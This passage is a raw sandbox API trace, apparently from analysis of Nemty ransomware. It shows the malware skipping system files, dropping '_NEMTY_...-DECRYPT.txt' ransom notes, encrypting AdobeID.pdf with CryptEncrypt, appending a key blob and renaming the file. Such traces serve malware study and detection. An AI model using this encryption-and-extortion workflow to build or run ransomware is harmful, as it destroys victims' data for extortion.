(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.857] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0c4b90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a0c4b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a0c4b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.857] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.857] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NOR", cAlternateFileName="")) returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2=".") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="..") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="...") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="windows") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="$RECYCLE.BIN") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="rsa") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="NTDETECT.COM") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="ntldr") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="MSDOS.SYS") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="IO.SYS") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="AUTOEXEC.BAT") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="ntuser.dat") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="desktop.ini") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="CONFIG.SYS") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="RECYCLER") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="BOOTSECT.BAK") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="bootmgr") returned 1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="programdata") returned -1 [0171.857] lstrcmpiW (lpString1="NOR", lpString2="appdata") returned 1 [0171.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0171.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.858] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.858] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.859] CloseHandle (hObject=0x254) returned 1 [0171.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.860] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.861] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.861] CloseHandle (hObject=0x254) returned 1 [0171.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.861] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a136fb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a136fb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.862] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.862] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a136fb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a136fb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.862] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.862] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.862] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10956, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.862] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.863] Sleep (dwMilliseconds=0x5) [0171.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a183270, dwHighDateTime=0x1d561e8)) [0171.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a183270, dwHighDateTime=0x1d561e8)) [0171.879] GetLastError () returned 0xb7 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.879] GetLastError () returned 0xb7 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.879] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.879] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.879] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.879] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="2ZTOkQs6aDXMPWSGddzub2Y4K3VqE2nGq3a6yeE53JaDvSStWOPZAia59o3IVRfG\r\nzYG46bts3vgPKuXrjMPvdRlyDWuCmUPFj6UseWNu/aoXCU5XjtSNjfa9NdzPRG/e\r\nLjbdLnjWRegjsMQtUUijLpTFHb+k5JMA5mnntpZJCpfTWKXKtKJim1eanpzQB5Si\r\nI7tpA9D6D0lxg0piTu1UloYPC6tzOwUqFmEr0p7yYmLCtW6Ebmi/m+XB2xZODFQq\r\ncvLO/POvz20UzQf3Nw1VZ8BQgzKy3+yDYrEUuZLsXPfTEqz99yPAY/OFTPtxK72W\r\nNMa4k4cUnBD66qu/K1yACw==\r\n", pcchString=0x653e5dc) returned 1 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.880] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67926) returned 1 [0171.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10950) returned 0x6352c48 [0171.880] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.880] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10950, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10950, lpOverlapped=0x0) returned 1 [0171.888] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.888] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10950, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10950, lpOverlapped=0x0) returned 1 [0171.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.888] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10956 [0171.888] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.888] CloseHandle (hObject=0x3b0) returned 1 [0171.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.889] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: 